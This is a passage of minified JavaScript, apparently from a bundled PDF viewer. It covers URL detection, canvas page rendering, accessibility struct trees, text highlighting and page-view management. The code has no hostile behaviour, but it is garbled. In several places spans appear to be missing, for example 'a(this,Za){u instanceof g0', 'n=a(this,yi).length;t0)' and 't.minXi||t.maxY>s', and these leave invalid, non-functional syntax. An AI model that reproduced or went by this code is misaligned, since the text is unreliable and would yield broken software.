\u{111DC}\\u{111E0}-\\u{11237}\\u{1123E}-\\u{112A8}\\u{112AA}-\\u{113D3}\\u{113D6}\\u{113D9}-\\u{1144A}\\u{11450}-\\u{11459}\\u{1145C}\\u{1145E}-\\u{114C5}\\u{114C7}-\\u{115C0}\\u{115D8}-\\u{11640}\\u{11644}-\\u{1165F}\\u{1166D}-\\u{116B8}\\u{116BA}-\\u{1173B}\\u{1173F}-\\u{1183A}\\u{1183C}-\\u{11943}\\u{11947}-\\u{119E1}\\u{119E3}-\\u{11A3E}\\u{11A47}-\\u{11A99}\\u{11A9D}\\u{11AA3}-\\u{11AFF}\\u{11B0A}-\\u{11BE0}\\u{11BE2}-\\u{11C40}\\u{11C46}-\\u{11C6F}\\u{11C72}-\\u{11EF6}\\u{11EF9}-\\u{11F42}\\u{11F50}-\\u{11FFE}\\u{12000}-\\u{1246F}\\u{12475}-\\u{12FF0}\\u{12FF3}-\\u{16A6D}\\u{16A70}-\\u{16AF4}\\u{16AF6}-\\u{16B36}\\u{16B3C}-\\u{16B43}\\u{16B45}-\\u{16D6C}\\u{16D70}-\\u{16E96}\\u{16E9B}-\\u{16FE1}\\u{16FE3}-\\u{1BC9E}\\u{1BCA0}-\\u{1DA86}\\u{1DA8C}-\\u{1E5FE}\\u{1E600}-\\u{1E95D}\\u{1E960}-\\u{10FFFF}]+)+)","gmu"));const[t,n]=om(e,{ignoreDashEOL:!0}),r=t.matchAll(a(this,Pp)),i=[];for(const o of r){const[l,u]=o;let c;if(l.startsWith("www.")||l.startsWith("http://")||l.startsWith("https://"))c=l;else if(u){const f=(s=URL.parse(`http://${u}`))==null?void 0:s.hostname;if(!f||(a(this,Ip)??g(this,Ip,/\.\d+$/),a(this,Ip).test(f)))continue}c??(c=l.startsWith("mailto:")?l:`mailto:${l}`);const d=gw(c,null,{addDefaultProtocol:!0});if(d){const[f,p]=Aw(n,o.index,l.length);i.push({url:d.href,index:f,length:p})}}return i}static processLinks(e){return this.findLinks(e._textHighlighter.textContentItemsStr.join(` +`)).map(t=>NP(t,e,ie(this,sv)._++))}}sv=new WeakMap,Pp=new WeakMap,Ip=new WeakMap,b(fm,sv,0),b(fm,Pp),b(fm,Ip);const Rt={INITIAL:0,RUNNING:1,PAUSED:2,FINISHED:3};class BP{constructor(){M(this,"renderingId","");M(this,"renderTask",null);M(this,"resume",null)}get renderingState(){throw new Error("Abstract getter `renderingState` accessed")}set renderingState(e){throw new Error("Abstract setter `renderingState` accessed")}async draw(){throw new Error("Not implemented: draw")}}var Ja,dc,fc,vs,Za,ys,av,Rp,L0;class Gw extends BP{constructor(t){super();b(this,Rp);b(this,Ja,null);b(this,dc,null);b(this,fc,Rt.INITIAL);b(this,vs,null);b(this,Za,0);b(this,ys,null);M(this,"canvas",null);M(this,"div",null);M(this,"enableOptimizedPartialRendering",!1);M(this,"imagesRightClickMinSize",-1);M(this,"eventBus",null);M(this,"id",null);M(this,"imageCoordinates",null);M(this,"pageColors",null);M(this,"recordedBBoxes",null);M(this,"renderingQueue",null);b(this,av,t=>{var n;if((n=a(this,vs))==null||n.call(this,!1),this.renderingQueue&&!this.renderingQueue.isHighestPriority(this)){this.renderingState=Rt.PAUSED,this.resume=()=>{this.renderingState=Rt.RUNNING,t()};return}t()});this.eventBus=t.eventBus,this.id=t.id,this.pageColors=t.pageColors||null,this.renderingQueue=t.renderingQueue,this.enableOptimizedPartialRendering=t.enableOptimizedPartialRendering??!1,this.imagesRightClickMinSize=t.imagesRightClickMinSize??-1,this.minDurationToUpdateCanvas=t.minDurationToUpdateCanvas??500}get renderingState(){return a(this,fc)}set renderingState(t){var n;if(t!==a(this,fc))switch(g(this,fc,t),a(this,Ja)&&(clearTimeout(a(this,Ja)),g(this,Ja,null)),t){case Rt.PAUSED:this.div.classList.remove("loading"),g(this,Za,0),(n=a(this,vs))==null||n.call(this,!1);break;case Rt.RUNNING:this.div.classList.add("loadingIcon"),g(this,Ja,setTimeout(()=>{this.div.classList.add("loading"),g(this,Ja,null)},0)),g(this,Za,Date.now());break;case Rt.INITIAL:case Rt.FINISHED:this.div.classList.remove("loadingIcon","loading"),g(this,Za,0);break}}_createCanvas(t,n=!1){const{pageColors:r}=this,i=!!(r!=null&&r.background&&(r!=null&&r.foreground)),s=this.canvas,o=!s&&!i&&!n;let l=this.canvas=document.createElement("canvas");return g(this,vs,u=>{if(o){let c=a(this,ys);if(!u&&this.minDurationToUpdateCanvas>0){if(Date.now()-a(this,Za){u instanceof g0&&(n(),g(this,dc,null))};let s=null;try{await i.promise,(o=a(this,vs))==null||o.call(this,!0)}catch(u){if(u instanceof g0)return;s=u,(l=a(this,vs))==null||l.call(this,!0)}finally{g(this,dc,s),i===this.renderTask&&(this.renderTask=null,this.enableOptimizedPartialRendering&&(this.recordedBBoxes??(this.recordedBBoxes=i.recordedBBoxes)),this.imagesRightClickMinSize!==-1&&(this.imageCoordinates??(this.imageCoordinates=this.pdfPage.imageCoordinates)))}if(this.renderingState=Rt.FINISHED,r(i),s)throw s}cancelRendering({cancelExtraDelay:t=0}={}){this.renderTask&&(this.renderTask.cancel(t),this.renderTask=null),this.resume=null}dispatchPageRender(){this.eventBus.dispatch("pagerender",{source:this,pageNumber:this.id})}dispatchPageRendered(t,n){this.eventBus.dispatch("pagerendered",{source:this,pageNumber:this.id,cssTransform:t,isDetailView:n,timestamp:performance.now(),error:a(this,dc)})}}Ja=new WeakMap,dc=new WeakMap,fc=new WeakMap,vs=new WeakMap,Za=new WeakMap,ys=new WeakMap,av=new WeakMap,Rp=new WeakSet,L0=function(){a(this,ys)&&(a(this,ys).width=a(this,ys).height=0,g(this,ys,null))};var vi;class kP{constructor(){b(this,vi,null)}async render({intent:e="display"}){e!=="display"||a(this,vi)||this._cancelled||g(this,vi,new $C)}cancel(){this._cancelled=!0,a(this,vi)&&(a(this,vi).destroy(),g(this,vi,null))}setParent(e){var t;(t=a(this,vi))==null||t.setParent(e)}getDrawLayer(){return a(this,vi)}}vi=new WeakMap;var pr,ov,Xw;class jP extends Gw{constructor({pageView:t}){super(t);b(this,ov);b(this,pr,null);M(this,"renderingCancelled",!1);this.pageView=t,this.renderingId="detail"+this.id,this.div=t.div}setPdfPage(t){this.pageView.setPdfPage(t)}get pdfPage(){return this.pageView.pdfPage}get renderingState(){return super.renderingState}set renderingState(t){this.renderingCancelled=!1,super.renderingState=t}reset({keepCanvas:t=!1}={}){const n=this.renderingCancelled||this.renderingState===Rt.RUNNING||this.renderingState===Rt.PAUSED;this.cancelRendering(),this.renderingState=Rt.INITIAL,this.renderingCancelled=n,t||this._resetCanvas()}update({visibleArea:t=null,underlyingViewUpdated:n=!1}={}){if(n){this.cancelRendering(),this.renderingState=Rt.INITIAL;return}if(!A(this,ov,Xw).call(this,t))return;const{viewport:r,maxCanvasPixels:i,capCanvasAreaFactor:s}=this.pageView,o=t.maxX-t.minX,l=t.maxY-t.minY,u=o*l*am.pixelRatio**2,d=(Math.sqrt(am.capPixels(i,s)/u)-1)/2;let f=Math.min(1,d);f<0&&(f=0);const p=o*f,m=l*f,v=Math.max(0,t.minX-p),y=Math.min(r.width,t.maxX+p),E=Math.max(0,t.minY-m),S=Math.min(r.height,t.maxY+m),w=y-v,C=S-E;g(this,pr,{minX:v,minY:E,width:w,height:C,scale:r.scale}),this.reset({keepCanvas:!0})}_getRenderingContext(t,n){const r=this.pageView._getRenderingContext(t,n,!1),i=this.pdfPage.recordedBBoxes;if(!i||!this.enableOptimizedPartialRendering)return r;const{viewport:{width:s,height:o}}=this.pageView,{width:l,height:u,minX:c,minY:d}=a(this,pr),f=c/s,p=d/o,m=(c+l)/s,v=(d+u)/o;return{...r,operationsFilter(y){return i.isEmpty(y)?!1:i.minX(y)<=m&&i.maxX(y)>=f&&i.minY(y)<=v&&i.maxY(y)>=p}}}async draw(){if(this.pageView.detailView!==this)return;const t=this.pageView.renderingState===Rt.FINISHED||this.renderingState===Rt.FINISHED;this.renderingState!==Rt.INITIAL&&(console.error("Must be in new state before drawing"),this.reset());const{div:n,pdfPage:r,viewport:i}=this.pageView;if(!r)throw this.renderingState=Rt.FINISHED,new Error("pdfPage is not loaded");this.renderingState=Rt.RUNNING;const s=this.pageView._ensureCanvasWrapper(),{canvas:o,prevCanvas:l}=this._createCanvas(y=>{var E;((E=s.firstElementChild)==null?void 0:E.tagName)==="CANVAS"?s.firstElementChild.after(y):s.prepend(y)},t);o.ariaHidden=!0,this.enableOptimizedPartialRendering&&(o.className="detailView");const{width:u,height:c}=i,d=a(this,pr),{pixelRatio:f}=am,p=[f,0,0,f,-d.minX*f,-d.minY*f];o.width=d.width*f,o.height=d.height*f;const{style:m}=o;m.width=`${d.width*100/u}%`,m.height=`${d.height*100/c}%`,m.top=`${d.minY*100/c}%`,m.left=`${d.minX*100/u}%`;const v=this._drawCanvas(this._getRenderingContext(o,p),()=>{var y;(y=this.canvas)==null||y.remove(),this.canvas=l},()=>{this.dispatchPageRendered(!1,!0)});return n.setAttribute("data-loaded",!0),this.dispatchPageRender(),v}}pr=new WeakMap,ov=new WeakSet,Xw=function(t){if(!a(this,pr))return!0;const n=a(this,pr).minX,r=a(this,pr).minY,i=a(this,pr).width+n,s=a(this,pr).height+r;if(t.minXi||t.maxY>s)return!0;const{width:o,height:l,scale:u}=this.pageView.viewport;if(a(this,pr).scale!==u)return!0;const c=t.minX-n,d=i-t.maxX,f=t.minY-r,p=s-t.maxY,m=.5,v=(1+m)/m;return n>0&&d/c>v||iv||r>0&&p/f>v||sv};const M1={Document:null,DocumentFragment:null,Part:"group",Sect:"group",Div:"group",Aside:"note",NonStruct:"none",P:null,H:"heading",Title:null,FENote:"note",Sub:"group",Lbl:null,Span:null,Em:null,Strong:null,Link:"link",Annot:"note",Form:"form",Ruby:null,RB:null,RT:null,RP:null,Warichu:null,WT:null,WP:null,L:"list",LI:"listitem",LBody:null,Table:"table",TR:"row",TH:"columnheader",TD:"cell",THead:"rowgroup",TBody:"rowgroup",TFoot:null,Caption:null,Figure:"figure",Formula:null,Artifact:null},_w=new Set(["math","merror","mfrac","mi","mmultiscripts","mn","mo","mover","mpadded","mprescripts","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msubsup","msup","mtable","mtd","mtext","mtr","munder","munderover","semantics"]),Rm="http://www.w3.org/1998/Math/MathML";class L1{static get sanitizer(){return Id(this,"sanitizer",mw.isSanitizerSupported?new Sanitizer({elements:[..._w].map(e=>({name:e,namespace:Rm})),replaceWithChildrenElements:[{name:"maction",namespace:Rm}],attributes:["dir","displaystyle","mathbackground","mathcolor","mathsize","scriptlevel","encoding","display","linethickness","intent","arg","form","fence","separator","lspace","rspace","stretchy","symmetric","maxsize","minsize","largeop","movablelimits","width","height","depth","voffset","accent","accentunder","columnspan","rowspan"],comments:!1}):null)}}const UP=/^H(\d+)$/;var pc,jr,gc,Fp,mc,Qa,qa,yi,Qn,N0,Kw,B0,k0;class Yw{constructor(e,t){b(this,Qn);b(this,pc);b(this,jr,null);b(this,gc);b(this,Fp,new Map);b(this,mc);b(this,Qa,null);b(this,qa,null);b(this,yi,null);g(this,pc,e.getStructTree()),g(this,mc,t)}async render(){var r;if(a(this,gc))return a(this,gc);const{promise:e,resolve:t,reject:n}=Promise.withResolvers();g(this,gc,e);try{g(this,jr,A(this,Qn,k0).call(this,await a(this,pc)))}catch(i){n(i)}return g(this,pc,null),(r=a(this,jr))==null||r.classList.add("structTree"),t(a(this,jr)),e}async getAriaAttributes(e){try{return await this.render(),a(this,Fp).get(e)}catch{}return null}hide(){a(this,jr)&&!a(this,jr).hidden&&(a(this,jr).hidden=!0)}show(){var e;(e=a(this,jr))!=null&&e.hidden&&(a(this,jr).hidden=!1)}updateTextLayer(){var e;if(a(this,Qa)){for(const[t,n]of a(this,Qa))(e=document.getElementById(t))==null||e.append(n);a(this,Qa).clear(),g(this,Qa,null)}if(a(this,qa)){for(const t of a(this,qa)){const n=document.getElementById(t);n&&(n.ariaHidden=!0)}a(this,qa).length=0,g(this,qa,null)}if(a(this,yi)){for(let t=0,n=a(this,yi).length;t0){const e=a(this,gr);for(const[t,n]of a(this,As)){if(!document.getElementById(t)){a(this,As).delete(t);continue}A(this,Dp,U0).call(this,t,e[n])}}for(const[e,t]of a(this,to))this.addPointerInTextLayer(e,t);a(this,to).clear()}disable(){a(this,bs)&&(a(this,to).clear(),g(this,gr,null),g(this,bs,!1))}removePointerInTextLayer(e){if(!a(this,bs)){a(this,to).delete(e);return}const t=a(this,gr);if(!t||t.length===0)return;const{id:n}=e,r=a(this,As).get(n);if(r===void 0)return;const i=t[r];a(this,As).delete(n);let s=i.getAttribute("aria-owns");s!=null&&s.includes(n)&&(s=s.split(" ").filter(o=>o!==n).join(" "),s?i.setAttribute("aria-owns",s):(i.removeAttribute("aria-owns"),i.setAttribute("role","presentation")))}addPointerInTextLayer(e,t){const{id:n}=e;if(!n)return null;if(!a(this,bs))return a(this,to).set(e,t),null;t&&this.removePointerInTextLayer(e);const r=a(this,gr);if(!r||r.length===0)return null;const i=Rd(r,u=>{var c;return A(c=Rh,vc,pm).call(c,e,u)<0}),s=Math.max(0,i-1),o=r[s];A(this,Dp,U0).call(this,n,o),a(this,As).set(n,s);const l=o.parentNode;return l!=null&&l.classList.contains("markedContent")?l.id:null}moveElementInDOM(e,t,n,r){const i=this.addPointerInTextLayer(n,r);if(!e.hasChildNodes())return e.append(t),i;const s=Array.from(e.childNodes).filter(l=>l!==t);if(s.length===0)return i;const o=Rd(s,l=>{var u;return A(u=Rh,vc,pm).call(u,t,l)<0});return o===0?s[0].before(t):s[o-1].after(t),i}};bs=new WeakMap,gr=new WeakMap,As=new WeakMap,to=new WeakMap,vc=new WeakSet,pm=function(e,t){const n=e.getBoundingClientRect(),r=t.getBoundingClientRect();if(n.width===0&&n.height===0)return 1;if(r.width===0&&r.height===0)return-1;const i=n.y,s=n.y+n.height,o=n.y+n.height/2,l=r.y,u=r.y+r.height,c=r.y+r.height/2;if(o<=l&&c>=s)return-1;if(c<=i&&o>=u)return 1;const d=n.x+n.width/2,f=r.x+r.width/2;return d-f},Dp=new WeakSet,U0=function(e,t){const n=t.getAttribute("aria-owns");n!=null&&n.includes(e)||t.setAttribute("aria-owns",n?`${n} ${e}`:e),t.removeAttribute("role")},b(Rh,vc);let j0=Rh;var eo;class $P{constructor({findController:e,eventBus:t,pageIndex:n}){b(this,eo,null);this.findController=e,this.matches=[],this.eventBus=t,this.pageIdx=n,this.textDivs=null,this.textContentItemsStr=null,this.enabled=!1}setTextMapping(e,t){this.textDivs=e,this.textContentItemsStr=t}enable(){if(!this.textDivs||!this.textContentItemsStr)throw new Error("Text divs and strings have not been set.");if(this.enabled)throw new Error("TextHighlighter is already enabled.");this.enabled=!0,a(this,eo)||(g(this,eo,new AbortController),this.eventBus._on("updatetextlayermatches",e=>{(e.pageIndex===this.pageIdx||e.pageIndex===-1)&&this._updateMatches()},{signal:a(this,eo).signal})),this._updateMatches()}disable(){var e;this.enabled&&(this.enabled=!1,(e=a(this,eo))==null||e.abort(),g(this,eo,null),this._updateMatches(!0))}_convertMatches(e,t){if(!e)return[];const{textContentItemsStr:n}=this;let r=0,i=0;const s=n.length-1,o=[];for(let l=0,u=e.length;l=i+n[r].length;)i+=n[r].length,r++;r===n.length&&console.error("Could not find a matching mapping");const d={begin:{divIdx:r,offset:c-i}};for(c+=t[l];r!==s&&c>i+n[r].length;)i+=n[r].length,r++;d.end={divIdx:r,offset:c-i},o.push(d)}return o}_renderMatches(e){if(e.length===0)return;const{findController:t,pageIdx:n}=this,{textContentItemsStr:r,textDivs:i}=this,s=n===t.selected.pageIdx,o=t.selected.matchIdx,l=t.state.highlightAll;let u=null;const c={offset:void 0};function d(E,S){const w=E.divIdx;return i[w].textContent="",f(w,0,E.offset,S)}function f(E,S,w,C){let x=i[E];if(x.nodeType===Node.TEXT_NODE){const F=document.createElement("span");x.before(F),F.append(x),i[E]=F,x=F}const T=r[E].substring(S,w),I=document.createTextNode(T);if(C){const F=document.createElement("span");return F.className=`${C} appended`,F.append(I),x.append(F),C.includes("selected")?F:null}return x.append(I),0}let p=o,m=p+1;if(l)p=0,m=e.length;else if(!s)return;let v=-1,y=-1;for(let E=p;E{t.classList.add("selecting")},r),t.addEventListener("copy",s=>{if(!a(this,Mp)){const o=document.getSelection();s.clipboardData.setData("text/plain",bd(_C(o.toString())))}m0(s)},r),a(Xs,Sn).set(t,e),A(i=Xs,Nc,Qw).call(i,n)},Nc=new WeakSet,Zw=function(e){var t;a(this,Sn).delete(e),a(this,Sn).size===0&&((t=a(this,Es))==null||t.abort(),g(this,Es,null))},Qw=function(e){if(a(this,Es))return;g(this,Es,new AbortController);const t=e?AbortSignal.any([a(this,Es).signal,e]):a(this,Es).signal,n=(o,l)=>{l.append(o),o.style.width="",o.style.height="",l.classList.remove("selecting")};let r=!1;document.addEventListener("pointerdown",()=>{r=!0},{signal:t}),document.addEventListener("pointerup",()=>{r=!1,a(this,Sn).forEach(n)},{signal:t}),window.addEventListener("blur",()=>{r=!1,a(this,Sn).forEach(n)},{signal:t}),document.addEventListener("keyup",()=>{r||a(this,Sn).forEach(n)},{signal:t});var i,s;document.addEventListener("selectionchange",()=>{var m,v;const o=document.getSelection();if(o.rangeCount===0){a(this,Sn).forEach(n);return}const l=new Set;for(let y=0;y{l===this._optionalContentConfigPromise&&(a(this,Ss).initialOptionalContent=u.hasInitialVisibility)}),t.l10n||this.l10n.translate(this.div)}}clone(t){const n=new wb({container:null,eventBus:this.eventBus,pagesColors:this.pageColors,renderingQueue:this.renderingQueue,enableOptimizedPartialRendering:this.enableOptimizedPartialRendering,minDurationToUpdateCanvas:this.minDurationToUpdateCanvas,defaultViewport:this.viewport,id:t,layerProperties:a(this,Ur),abortSignal:a(this,yc),scale:this.scale,optionalContentConfigPromise:this._optionalContentConfigPromise,textLayerMode:a(this,Zl),annotationMode:a(this,ws),imageResourcesPath:this.imageResourcesPath,enableDetailCanvas:this.enableDetailCanvas,maxCanvasPixels:this.maxCanvasPixels,maxCanvasDim:this.maxCanvasDim,capCanvasAreaFactor:this.capCanvasAreaFactor,enableAutoLinking:a(this,Ac),commentManager:a(this,bc),l10n:this.l10n});return n.setPdfPage(this.pdfPage.clone(t-1)),n}updatePageNumber(t){var i;if(this.id===t)return;const n=this.id;this.id=t,this.renderingId=`page${t}`,this.pdfPage&&(this.pdfPage.pageNumber=t),this.setPageLabel(this.pageLabel);const{div:r}=this;r.setAttribute("data-page-number",t),r.setAttribute("data-l10n-args",JSON.stringify({page:t})),this._textHighlighter.pageIdx=t-1,(i=a(this,Ur).annotationEditorUIManager)==null||i.updatePageIndex(n-1,t-1)}setPdfPage(t){var r,i,s,o;this._isStandalone&&(((r=this.pageColors)==null?void 0:r.foreground)==="CanvasText"||((i=this.pageColors)==null?void 0:i.background)==="Canvas")&&((s=this._container)==null||s.style.setProperty("--hcm-highlight-filter",t.filterFactory.addHighlightHCMFilter("highlight","CanvasText","Canvas","HighlightText","Highlight")),(o=this._container)==null||o.style.setProperty("--hcm-highlight-selected-filter",t.filterFactory.addHighlightHCMFilter("highlight_selected","CanvasText","Canvas","HighlightText","Highlight"))),this.pdfPage=t,this.pdfPageRotate=t.rotate;const n=(this.rotation+this.pdfPageRotate)%360;this.viewport=t.getViewport({scale:this.scale*Li.PDF_TO_CSS_UNITS,rotation:n}),A(this,bt,gm).call(this),this.reset()}destroy(){var t;this.reset(),(t=this.pdfPage)==null||t.cleanup()}deleteMe(t){var n;if(t){this.div.remove();return}this.destroy(),(n=a(this,Ur).annotationEditorUIManager)==null||n.deletePage(this.id)}hasEditableAnnotations(){var t;return!!((t=this.annotationLayer)!=null&&t.hasEditableAnnotations())}get _textHighlighter(){return Id(this,"_textHighlighter",new $P({pageIndex:this.id-1,eventBus:this.eventBus,findController:a(this,Ur).findController}))}_resetCanvas(){super._resetCanvas(),g(this,wc,null)}reset({keepAnnotationLayer:t=!1,keepAnnotationEditorLayer:n=!1,keepXfaLayer:r=!1,keepTextLayer:i=!1,keepCanvasWrapper:s=!1,preserveDetailViewState:o=!1}={}){var y,E,S,w,C,x,T;const l=((y=this.pdfPage)==null?void 0:y._pdfBug)??!1;this.cancelRendering({keepAnnotationLayer:t,keepAnnotationEditorLayer:n,keepXfaLayer:r,keepTextLayer:i}),this.renderingState=Rt.INITIAL;const u=this.div,c=u.childNodes,d=t&&((E=this.annotationLayer)==null?void 0:E.div)||null,f=n&&((S=this.annotationEditorLayer)==null?void 0:S.div)||null,p=r&&((w=this.xfaLayer)==null?void 0:w.div)||null,m=i&&((C=this.textLayer)==null?void 0:C.div)||null,v=s&&a(this,no)||null;for(let I=c.length-1;I>=0;I--){const F=c[I];switch(F){case d:case f:case p:case m:case v:continue}if(l&&F.classList.contains("pdfBugGroupsLayer"))continue;F.remove();const P=a(this,ro).indexOf(F);P>=0&&(a(this,ro)[P]=null)}u.removeAttribute("data-loaded"),d&&this.annotationLayer.hide(),f&&this.annotationEditorLayer.hide(),p&&this.xfaLayer.hide(),m&&this.textLayer.hide(),(x=this.structTreeLayer)==null||x.hide(),!s&&a(this,no)&&(g(this,no,null),this._resetCanvas()),o||((T=this.detailView)==null||T.reset({keepCanvas:s}),s||(this.detailView=null))}toggleEditingMode(t){g(this,Np,t),this.hasEditableAnnotations()&&this.reset({keepAnnotationLayer:!0,keepAnnotationEditorLayer:!0,keepXfaLayer:!0,keepTextLayer:!0,keepCanvasWrapper:!0})}updateVisibleArea(t){this.enableDetailCanvas&&(a(this,xs)&&this.maxCanvasPixels>0&&t?(this.detailView??(this.detailView=new jP({pageView:this,enableOptimizedPartialRendering:this.enableOptimizedPartialRendering,imagesRightClickMinSize:-1})),this.detailView.update({visibleArea:t})):this.detailView&&(this.detailView.reset(),this.detailView=null))}update({scale:t=0,rotation:n=null,optionalContentConfigPromise:r=null,drawingDelay:i=-1}){var o,l,u;this.scale=t||this.scale,typeof n=="number"&&(this.rotation=n),r instanceof Promise&&(this._optionalContentConfigPromise=r,r.then(c=>{r===this._optionalContentConfigPromise&&(a(this,Ss).initialOptionalContent=c.hasInitialVisibility)})),a(this,Ss).directDrawing=!0;const s=(this.rotation+this.pdfPageRotate)%360;if(this.viewport=this.viewport.clone({scale:this.scale*Li.PDF_TO_CSS_UNITS,rotation:s}),A(this,bt,gm).call(this),this._isStandalone&&((o=this._container)==null||o.style.setProperty("--scale-factor",this.viewport.scale)),A(this,bt,G0).call(this),this.canvas){const c=a(this,Ec)&&a(this,xs),d=i>=0&&i<1e3;if(d||c){d&&!c&&this.renderingState!==Rt.FINISHED&&(this.cancelRendering({keepAnnotationLayer:!0,keepAnnotationEditorLayer:!0,keepXfaLayer:!0,keepTextLayer:!0,cancelExtraDelay:i}),this.renderingState=Rt.FINISHED,a(this,Ss).directDrawing=!1),this.cssTransform({redrawAnnotationLayer:!0,redrawAnnotationEditorLayer:!0,redrawXfaLayer:!0,redrawTextLayer:!d,hideTextLayer:d}),d||((l=this.detailView)==null||l.update({underlyingViewUpdated:!0}),this.dispatchPageRendered(!0,!1));return}}this.cssTransform({}),this.reset({keepAnnotationLayer:!0,keepAnnotationEditorLayer:!0,keepXfaLayer:!0,keepTextLayer:!0,keepCanvasWrapper:!0,preserveDetailViewState:!0}),(u=this.detailView)==null||u.update({underlyingViewUpdated:!0})}cancelRendering({keepAnnotationLayer:t=!1,keepAnnotationEditorLayer:n=!1,keepXfaLayer:r=!1,keepTextLayer:i=!1,cancelExtraDelay:s=0}={}){var o;super.cancelRendering({cancelExtraDelay:s}),this.textLayer&&(!i||!this.textLayer.div)&&(this.textLayer.cancel(),this.textLayer=null),this.annotationLayer&&(!t||!this.annotationLayer.div)&&(this.annotationLayer.cancel(),this.annotationLayer=null,this._annotationCanvasMap=null),this.structTreeLayer&&!this.textLayer&&(this.structTreeLayer=null),this.annotationEditorLayer&&(!n||!this.annotationEditorLayer.div)&&(this.drawLayer&&(this.drawLayer.cancel(),this.drawLayer=null),this.annotationEditorLayer.cancel(),this.annotationEditorLayer=null),this.xfaLayer&&(!r||!this.xfaLayer.div)&&(this.xfaLayer.cancel(),this.xfaLayer=null,(o=this._textHighlighter)==null||o.disable())}cssTransform({redrawAnnotationLayer:t=!1,redrawAnnotationEditorLayer:n=!1,redrawXfaLayer:r=!1,redrawTextLayer:i=!1,hideTextLayer:s=!1}){var u;const{canvas:o}=this;if(!o)return;const l=a(this,wc);if(this.viewport!==l){const c=(360+this.viewport.rotation-l.rotation)%360;if(c===90||c===270){const{width:d,height:f}=this.viewport,p=f/d,m=d/f;o.style.transform=`rotate(${c}deg) scale(${p},${m})`}else o.style.transform=c===0?"":`rotate(${c}deg)`}t&&this.annotationLayer&&A(this,bt,$0).call(this),n&&this.annotationEditorLayer&&(this.drawLayer&&A(this,bt,V0).call(this),A(this,bt,H0).call(this)),r&&this.xfaLayer&&A(this,bt,W0).call(this),this.textLayer&&(s?(this.textLayer.hide(),(u=this.structTreeLayer)==null||u.hide()):i&&A(this,bt,z0).call(this))}get width(){return this.viewport.width}get height(){return this.viewport.height}getPagePoint(t,n){return this.viewport.convertToPdfPoint(t,n)}_ensureCanvasWrapper(){let t=a(this,no);return t||(t=g(this,no,document.createElement("div")),t.classList.add("canvasWrapper"),A(this,bt,Th).call(this,t,"canvasWrapper")),t}_getRenderingContext(t,n,r,i){return{canvas:t,transform:n,viewport:this.viewport,annotationMode:a(this,ws),optionalContentConfigPromise:this._optionalContentConfigPromise,annotationCanvasMap:this._annotationCanvasMap,pageColors:this.pageColors,isEditing:a(this,Np),recordOperations:r,recordImages:i}}async draw(){this.renderingState!==Rt.INITIAL&&(console.error("Must be in new state before drawing"),this.reset());const{div:t,l10n:n,pdfPage:r,viewport:i}=this;if(!r)throw this.renderingState=Rt.FINISHED,new Error("pdfPage is not loaded");this.renderingState=Rt.RUNNING;const s=this._ensureCanvasWrapper();if(!this.textLayer&&a(this,Zl)!==Ei.DISABLE&&!r.isPureXfa&&(this._accessibilityManager||(this._accessibilityManager=new j0),this.textLayer=new Fm({pdfPage:r,highlighter:this._textHighlighter,accessibilityManager:this._accessibilityManager,enablePermissions:a(this,Zl)===Ei.ENABLE_PERMISSIONS,onAppend:T=>{this.l10n.pause(),A(this,bt,Th).call(this,T,"textLayer"),this.l10n.resume()},abortSignal:a(this,yc)})),!this.annotationLayer&&a(this,ws)!==xi.DISABLE){const{annotationStorage:T,annotationEditorUIManager:I,downloadManager:F,enableComment:P,enableScripting:R,fieldObjectsPromise:D,hasJSActionsPromise:k,linkService:N}=a(this,Ur);this._annotationCanvasMap||(this._annotationCanvasMap=new Map),this.annotationLayer=new Rw({pdfPage:r,annotationStorage:T,imageResourcesPath:this.imageResourcesPath,renderForms:a(this,ws)===xi.ENABLE_FORMS,linkService:N,downloadManager:F,enableComment:P,enableScripting:R,hasJSActionsPromise:k,fieldObjectsPromise:D,annotationCanvasMap:this._annotationCanvasMap,accessibilityManager:this._accessibilityManager,annotationEditorUIManager:I,commentManager:a(this,bc),onAppend:H=>{A(this,bt,Th).call(this,H,"annotationLayer")}})}const{width:o,height:l}=i;g(this,wc,i);const{canvas:u,prevCanvas:c}=this._createCanvas(T=>{s.prepend(T)});u.setAttribute("role","presentation"),this.outputScale||A(this,bt,G0).call(this);const{outputScale:d}=this;g(this,Ec,a(this,xs));const f=u1(d.sx),p=u1(d.sy),m=u.width=vg(yg(o*d.sx),f[0]),v=u.height=vg(yg(l*d.sy),p[0]),y=vg(yg(o),f[1]),E=vg(yg(l),p[1]);d.sx=m/y,d.sy=v/E,a(this,kp)!==f[1]&&(t.style.setProperty("--scale-round-x",`${f[1]}px`),g(this,kp,f[1])),a(this,jp)!==p[1]&&(t.style.setProperty("--scale-round-y",`${p[1]}px`),g(this,jp,p[1]));const S=this.enableOptimizedPartialRendering&&a(this,Ec)&&!this.recordedBBoxes,w=this.imagesRightClickMinSize!==-1&&!this.imageCoordinates,C=d.scaled?[d.sx,0,0,d.sy,0,0]:null,x=this._drawCanvas(this._getRenderingContext(u,C,S,w),()=>{c==null||c.remove(),this._resetCanvas()},T=>{a(this,Ss).regularAnnotations=!T.separateAnnots,this.dispatchPageRendered(!1,!1)}).then(async()=>{var F;if(this.renderingState!==Rt.FINISHED)return;this.structTreeLayer||(this.structTreeLayer=new Yw(r,i.rawDims));const T=A(this,bt,z0).call(this);this.annotationLayer&&(await A(this,bt,$0).call(this),a(this,Ac)&&this.annotationLayer&&this.textLayer&&await A(this,bt,nx).call(this,T));const{annotationEditorUIManager:I}=a(this,Ur);I&&(this.drawLayer||(this.drawLayer=new kP),await A(this,bt,V0).call(this),this.drawLayer.setParent(s),(this.annotationLayer||a(this,ws)===xi.DISABLE)&&(this.annotationEditorLayer||(this.annotationEditorLayer=new MP({uiManager:I,pageIndex:this.id-1,l10n:n,structTreeLayer:this.structTreeLayer,accessibilityManager:this._accessibilityManager,annotationLayer:(F=this.annotationLayer)==null?void 0:F.annotationLayer,textLayer:this.textLayer,drawLayer:this.drawLayer.getDrawLayer(),onAppend:P=>{A(this,bt,Th).call(this,P,"annotationEditorLayer")}})),A(this,bt,H0).call(this)))});if(r.isPureXfa){if(!this.xfaLayer){const{annotationStorage:T,linkService:I}=a(this,Ur);this.xfaLayer=new qw({pdfPage:r,annotationStorage:T,linkService:I})}A(this,bt,W0).call(this)}return t.setAttribute("data-loaded",!0),this.dispatchPageRender(),x}setPageLabel(t){this.pageLabel=typeof t=="string"?t:null,this.div.setAttribute("data-l10n-args",JSON.stringify({page:this.pageLabel??this.id})),this.pageLabel!==null?this.div.setAttribute("data-page-label",this.pageLabel):this.div.removeAttribute("data-page-label")}get 